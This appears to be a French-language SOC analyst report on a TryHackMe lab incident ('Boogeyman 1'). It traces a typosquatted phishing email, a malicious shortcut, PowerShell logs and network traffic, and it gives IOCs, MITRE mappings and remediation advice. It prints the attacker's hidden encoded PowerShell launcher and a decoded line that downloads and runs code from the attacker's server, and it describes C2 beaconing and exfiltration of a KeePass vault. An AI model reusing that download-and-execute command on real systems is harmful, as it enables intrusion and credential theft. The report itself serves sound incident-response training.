SOC Level 1 - Laboratoire TryHackMe

Rapport d'Incident de Sécurité

Opération Boogeyman 1

Analyse de compromission : phishing, exécution PowerShell, C2 et exfiltration

---

Analyste :
Ilyass JENJARE

Date de l'analyse :
21 octobre 2026

Échantillons :
`dump.eml`
`powershell.json`
`capture.pcapng`

Table des matières

1 Résumé Exécutif **2**

2 Objectifs et Outils **2**

3 Constats Détaillés **2**
3.1 Vecteur d'infection (phishing) 2
3.2 Analyse de la charge utile (poste de travail) 3
3.3 Activités post-compromission (journaux PowerShell) 3
3.4 Analyse du trafic réseau (PCAP) 4

4 Chronologie **5**

5 Indicateurs de compromission (IOC) **5**

6 Cartographie MITRE ATT&CK **6**

7 Conclusion **6**

8 Recommandations **6**

1 Résumé Exécutif

Une compromission confirmée a touché Julianne, employée du département financier de Quick Logistics LLC. L'incident a débuté par un e-mail de phishing ciblé usurpant l'identité d'un partenaire commercial (B Packaging Inc.). L'acteur malveillant, identifié comme le groupe **Boogeyman**, a utilisé un domaine de typosquatting pour acheminer une pièce jointe malveillante.

L'investigation des artefacts (e-mail, journaux PowerShell, capture réseau) démontre que l'attaquant a réussi à :

— exécuter des commandes à distance sur le poste de la victime ;

— déployer des outils d'énumération (`Seatbelt.exe`, `sq3.exe`, `sb.exe`) ;

— cibler et exfiltrer des données sensibles (coffre-fort KeePass et base Sticky Notes) via des requêtes HTTP obfusquées.

→ **À retenir :** le fichier `protected_data.kdbx` a été exfiltré ; tous les identifiants qu'il contient doivent être considérés comme compromis.

2 Objectifs et Outils

Objectifs :

— Analyser les en-têtes de l'e-mail pour cartographier l'infrastructure d'envoi.

— Reconstruire la chronologie d'exécution à partir des journaux PowerShell locaux.

— Identifier les données compromises en analysant le trafic réseau (Wireshark).

Outil	Usage
Thunderbird	Lecture des en-têtes bruts et extraction de l'archive ZIP
LNKParse3	Analyse forensique du raccourci Windows (`.lnk`)
jq / grep	Filtrage des événements JSON PowerShell
Wireshark	Analyse du flux réseau (serveur de charges utiles, trafic C2 HTTP POST)
CyberChef	Décodage Base64 et décimal

Table 1 – Outils utilisés lors de l'investigation

3 Constats Détaillés

3.1 Vecteur d'infection (phishing)

L'attaque a débuté par la réception du fichier `dump.eml`.

Élément	Valeur
Expéditeur usurpé	`agriffin@bpakcaging.xyz` (Arthur Griffin, B Packaging Inc.)
Technique	Typosquatting de `bpackaging.xyz` (inversion du « k » et du « c »)
Relais	Service tiers Elastic Email
Pièce jointe	`Invoice.zip` (archive chiffrée)
Mot de passe	`Invoice2023!` (fourni dans le corps du message)

Table 2 – Informations extraites de l'e-mail de phishing

— L'utilisation d'Elastic Email permet de contourner certains filtres de réputation d'IP.

— Le mot de passe fourni dans le message force la victime à déchiffrer elle-même la charge utile, ce qui masque l'archive aux scanners antivirus de la passerelle de messagerie.

3.2 Analyse de la charge utile (poste de travail)

L'extraction de l'archive a révélé le fichier `Invoice Jan 2023.lnk`. L'outil `lnkparse` a montré que ce raccourci n'ouvre pas un document légitime mais exécute silencieusement la commande suivante :

```
powershell.exe -nop -windowstyle hidden -enc
   aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0...
```

Une fois décodée depuis la Base64, la charge initiale correspond à une requête Web (`DownloadString`) pointant vers l'infrastructure de l'attaquant :

```
iex (new-object net.webclient).downloadstring('http://files.
   bpakcaging.xyz/update')
```

— `-nop` : ignore le profil PowerShell de l'utilisateur.

— `-windowstyle hidden` : aucune fenêtre visible pour la victime.

— `-enc` : commande encodée en Base64 pour échapper à une détection simple par chaîne de caractères.

— `iex` : le code téléchargé est exécuté directement en mémoire.

3.3 Activités post-compromission (journaux PowerShell)

Le filtrage des journaux `powershell.json` via `jq` a révélé le déploiement d'outils et le vol de données.

— **Infrastructure C2 et téléchargements :** les domaines utilisés incluent `cdn.bpakcaging.xyz`, `files.bpakcaging.xyz` et `line.bpakcaging.xyz`.

— **Découverte :** l'attaquant a téléchargé l'outil d'énumération système `Seatbelt.exe` et un binaire SQLite légitime renommé `sq3.exe`.

— **Sticky Notes :** `sq3.exe` a servi à interroger le fichier `plum.sqlite` de l'application Microsoft Sticky Notes, à la recherche de secrets notés en clair.

— **KeePass :** l'attaquant a ciblé la base de mots de passe `protected_data.kdbx`.

3.4 Analyse du trafic réseau (PCAP)

L'analyse de `capture.pcapng` (48 858 paquets, session du 13 janvier 2023) corrobore les journaux locaux.

Hôte	IP	Rôle observé
`files.bpakcaging.xyz`	`167.71.211.113`	Serveur de charges utiles (HTTP, port 80)
`cdn.bpakcaging.xyz`	`159.89.205.40`	Serveur C2 (HTTP, port 8080)
Poste victime	`10.10.182.255`	Client infecté

TABLE 3 – Infrastructure réseau identifiée dans la capture

Livraison des charges utiles (`167.71.211.113`) :

— Requête `GET /update` suivie d'une réponse `200 OK` de 522 octets (serveur `SimpleHTTP/0.6 Python/3.10.7`) : il s'agit du script d'amorçage qui définit l'adresse du C2.

— Requête `GET /sb.exe` en HTTP clair, suivie du transfert de l'exécutable.

— Trois réponses HTTP de ce serveur sont visibles dans la capture, dont deux de type `application/x-msdos-program`.

Communication C2 (`159.89.205.40:8080`) :

— Boucle de *beaconing* : requêtes `GET /b86459bb` répétées toutes les 1 à 2 secondes, pour récupérer les commandes de l'opérateur.

— Retour des résultats par `POST /27fe2489` (type `application/x-www-form-urlencoded`), avec l'en-tête `User-Agent WindowsPowerShell/5.1.18362.145`.

— Les données sont encodées en décimal puis URL-encodées pour masquer leur contenu (par exemple la base `.kdbx`) et passer sous les règles DLP.

— Taille des `POST` très variable, jusqu'à plusieurs dizaines de kilo-octets (un `POST` de 34 872 octets à 17 :34 :39 réassemble 78 907 octets).

Activité DNS : en fin de capture (vers 17 :32), de nombreuses requêtes DNS vers des sous-domaines hexadécimaux de `bpakcaging.xyz`, adressées à `167.71.211.113`, sont observées. Ce motif est typique d'un canal d'exfiltration ou de commande par tunnel DNS et mérite une analyse complémentaire.

→ **À retenir :** le C2 et l'exfiltration transitent en clair par HTTP, ce qui permet une détection réseau fiable (beaconing régulier, `POST` volumineux vers un domaine récent).

4 Chronologie

Phase	Technique	Événement
Livraison	T1566.001	E-mail avec `Invoice.zip` chiffré, mot de passe dans le corps
Exécution	T1204.002, T1059.001	Ouverture de `Invoice Jan 2023.lnk`, lancement de PowerShell caché
C2	T1105	Téléchargement de `/update`, *beaconing* vers `cdn.bpakcaging.xyz`
Découverte et collecte	T1555.005, T1005	`Seatbelt.exe`, `sq3.exe`, accès à `plum.sqlite` et `protected_data.kdbx`
Exfiltration	T1048.003	`POST` HTTP volumineux vers le port 8080 du C2

TABLE 4 – Chronologie synthétique de l'attaque

5 Indicateurs de compromission (IOC)

Type	Valeur
Domaine typosquatté	`bpakcaging.xyz`
Domaines C2 / hébergement	`cdn.bpakcaging.xyz`, `files.bpakcaging.xyz`, `line.bpakcaging.xyz`
Adresse IP (serveur de charges utiles)	`167.71.211.113`
Adresse IP (serveur C2)	`159.89.205.40`
Adresse d'expéditeur	`agriffin@bpakcaging.xyz`
URL de chargement	`http://files.bpakcaging.xyz/update`
URI de *beaconing* / exfiltration	`/b86459bb`, `/27fe2489` (port 8080)
Mot de passe de l'archive	`Invoice2023!`
Fichiers droppers	`Invoice.zip`, `Invoice Jan 2023.lnk`
Outils téléchargés	`sq3.exe`, `sb.exe`, `Seatbelt.exe`
Fichiers ciblés	`plum.sqlite`, `protected_data.kdbx`

TABLE 5 – Liste des Indicateurs de Compromission (IOC)

6 Cartographie MITRE ATT&CK

Tactique	ID	Technique
Initial Access	T1566.001	Phishing : pièce jointe (Spearphishing Attachment)
Execution	T1204.002	User Execution : fichier malveillant
Execution	T1059.001	Command and Scripting Interpreter : PowerShell
Defense Evasion	T1140	Deobfuscate/Decode Files or Information (Base64 dans le LNK)
Command and Control	T1105	Ingress Tool Transfer
Credential Access	T1555.005	Credentials from Password Stores : Password Managers (KeePass)
Exfiltration	T1048.003	Exfiltration Over Alternative Protocol : HTTP non chiffré

TABLE 6 – Mapping des techniques d'attaque observées

7 Conclusion

L'incident Boogeyman démontre une exploitation réussie d'ingénierie sociale menant à la compromission critique d'un poste financier. Le faisceau d'indices est cohérent : domaine typosquatté, archive chiffrée avec mot de passe fourni, raccourci `.lnk` lançant un PowerShell encodé, déploiement d'outils de découverte, *beaconing* HTTP régulier et `POST` volumineux vers le C2. Le vol avéré du fichier `protected_data.kdbx` implique que tous les accès de l'entreprise contenus dans ce gestionnaire de mots de passe doivent être considérés comme compromis.

8 Recommandations

Confinement :

— Isoler immédiatement le poste de Julianne du réseau d'entreprise.

— Rechercher et supprimer le message dans toutes les boîtes de réception.

Remédiation :

— Réinitialiser l'intégralité des identifiants et numéros de cartes bancaires stockés dans le coffre-fort KeePass compromis et dans les notes Sticky Notes.

— Rechercher les IOC (domaines, IP, URI) dans les journaux proxy, DNS et pare-feu afin d'identifier d'autres postes touchés.

Durcissement :

— Bloquer proactivement les domaines `bpakcaging.xyz` et les IP associées au niveau du pare-feu et du proxy web.

— Restreindre l'exécution de PowerShell par les utilisateurs finaux (mode de langage contraint, politiques de restriction logicielle) et activer la journalisation des blocs de script.

— Bloquer les fichiers de raccourcis (`.lnk`) et les archives chiffrées provenant de l'extérieur.

— Surveiller le *beaconing* HTTP régulier et les `POST` volumineux vers des domaines récents.

— Sensibiliser les utilisateurs à ne jamais ouvrir une archive dont le mot de passe est fourni dans le même message.